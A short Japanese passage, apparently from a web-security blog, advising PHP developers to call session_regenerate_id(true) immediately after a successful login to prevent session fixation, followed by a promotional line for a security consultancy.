PHPでこれを実現するには、ログイン成功直後に下記を実行します。
session_regenerate_id(true);
これは容易に実現できるため、セッションフィクセイション攻撃を受けやすいか否かに関わらず、かならず上記を実施するようにしましょう。影響の受けやすさを検討しなければならないケースとしては、既存サイトが上記対策を実施しておらず、かつ対策がすぐにできない場合です。その場合は、セキュリティの専門家にチェックをしてもらうとよいと思いますが、セッションフィクセイション脆弱性に関してはとっとと直してしまった方が安い気がします。


[PR]Webサイトのセキュリティ施策はHASHコンサルティング株式会社まで